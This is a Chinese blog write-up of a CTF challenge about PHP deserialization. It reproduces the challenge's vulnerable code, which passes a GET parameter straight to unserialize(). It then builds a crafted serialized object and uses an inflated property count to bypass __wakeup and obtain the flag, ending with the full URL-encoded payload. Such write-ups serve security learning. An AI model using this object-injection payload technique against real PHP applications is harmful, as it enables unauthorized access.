【web | CTF】BUUCTF [极客大挑战 2019]PHP 1

内容比较简单,就不写目录了

第一次深入研究php的反序列化,又开发又研究,卡了一个大bug

大家可以先来看看,开发运行一下php反序列化,顺便踩踩坑

php序列化bug,大坑_天命传说的博客-CSDN博客

好了,懂开发,踩过坑之后,咱们继续踩坑……

开始答题,题目说有备份,那就用工具或自己写个脚本去扫(主要看字典),拿CTF的字典一顿扫,发现有源码泄露

来看一下最关键的部分,index.php导入了class.php,使用select键来接收值

    <?php
    include 'class.php';
    $select = $_GET['select'];  // 接收传参
    $res=unserialize(@$select); // 因为导入了class,所以可以直接反序列化
    ?>
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }

        // 最直接简单理解就是  username==='admin' && password==100  就能到达这里
        if ($this->username === 'admin') {  
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

最简单理解就是放入的变量是  username==='admin'  && password==100即可

所以我们自己新建一个序列化文件,自己来反序列化出字符串

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    // private $flag = "flag在这里";

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
        
    }
    function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if ($this->password != 100){
            echo $this->username."<br>";
            echo $this->password;
            die();
        }
        if($this->username === 'admin'){
            echo "flag在这里";
        }
        else{
            echo "全错";
            die();
        }
    }

}

$obj = new Name("admin",'100');  // 实例化进行调用

正常输入参数后调用,到这里都是没问题的,后面开始踩坑了

 首先是打印序列化出来的结果是自带类名的,这个一开始以为是个bug,后来发现flag需要这个,导致我也搞不懂为什么了

然后怕传输过程中出问题,就使用url编码

 这里注意一大坑,千万不要使用echo 序列化出来的结果,再拿去手动url编码

你在代码里直接转会自带这种%00,有特殊效果,不知道是截断还是其他效果,反正没有这东西就不通过

 所以一定要在代码里面直接通过函数转换

然后这里的难点就是要预判他给的代码跟实际运行代码的区别

 这里应该是假的代码,真的代码应该是要长这个样子

 所以就需要把序列化出来的字符串改动一下,从2个元素,改成3个元素

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

改成

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

建议用vscode来对照,不然肉眼来看,估计要看瞎你也找不到在哪里改

最终exp

http://bbfba57a-ed9d-4af0-a621-8b440cf65fdb.node4.buuoj.cn:81/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

当然了,我也是看了答案再反推逻辑的,也不知后台服务器是不是真的这样写。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星盾网安

能花钱买到的知识,都不贵

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值